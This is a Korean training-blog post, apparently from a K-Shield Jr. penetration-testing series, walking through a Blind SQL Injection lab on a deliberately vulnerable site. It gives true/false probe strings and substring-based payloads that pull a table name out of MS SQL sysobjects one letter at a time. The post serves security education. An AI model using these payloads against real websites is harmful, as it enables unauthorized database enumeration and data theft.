2. Blind SQL Injection
K-Sheild 에서 제공한 취약한 홈페이지를 대상으로 Blind SQL Injection을 실습
[ DB Table명 확인하기 ]
Table 명은 DB 구조를 이해하는데 중요한 정보 제공
sysobjects : 시스템, 사용자
information_schema.tables : 사용자
위는 테이블이지만 특정 필드에 테이블명들이 포함되어있다.
(sysobjects 는 애초에 DB구축 시 따로 계정을 만들어서 지정된 계정에게만 검색기능 허용, 각각의 테이블마다 권한을 주게끔 권고)
[ 점검방법 ]
1) 'and 1=1 -- (참)
2) 'and 1=2 -- (거짓)
3) 'and 'a' = substring('admin',1,1) -- (참)
'and 'm' = substring('admin',3,1) -- (참)
'and 'dmi' = substring('admin',2,3) -- (참)
취약한 사이트의 게시판에서 다음과 같은 Blind SQL Injection이 가능하다.
1) 'and 1=1 -- (참) 2) 'and 1=2 -- (거짓)
그림 1-1 은 검색란에 참인 쿼리를 입력했을 경우 항상 참이기에 모든 게시글을 보여준다.
그림 1-2 는 거짓인 쿼리를 입력했을 경우 '검색된 게시물이 없습니다.' 와 같은 경고창이 뜨게된다.
위와 같은 참·거짓 에 대한 사이트 반응으로 substring 함수를 이용하여 사용자 테이블 중 첫번째 테이블을 알아낼 수 있다.
그림 1-1
그림 1-2
다음의 명령어들은 테이블명을 한글자씩 확인하는 명령어이다. ( 직관적인 명령어들이기에 설명을 생락한다 )
'and 'a'=substring((select top 1 name from sysobjects where xtype='U' order by name asc),1,1)-- 'and 'b'=substring((select top 1 name from sysobjects where xtype='U' order by name asc),2,1)-- 'and 'r'=substring((select top 1 name from sysobjects where xtype='U' order by name asc),3,1)-- 'and 'a'=substring((select top 1 name from sysobjects where xtype='U' order by name asc),4,1)-- 'and 'm'<substring((select top 1 name from sysobjects where xtype='U' order by name asc),3,1)-- | cs |
결과적으로 이전 게시글의 그림 1-5 에서 보았던 'abracadabra' 테이블임을 알 수 있다.
'K-Shield Jr. > 모의해킹' 카테고리의 다른 글
CSRF ( Cross-site request forgery ) :: 관리자 권한으로 글쓰기 (0) | 2018.11.09 |
---|---|
XSS ( Cross Site Scripting ) :: 타사용자 권한획득 실습 (0) | 2018.11.07 |
SQL Injection :: 1. Union SQL Injection (0) | 2018.11.07 |
SQL Injection의 종류와 의미 (0) | 2018.11.07 |
WordPress Plugin 취약점 Like DisLike Counter :: 2. 패스워드 크랙 (1) | 2018.11.05 |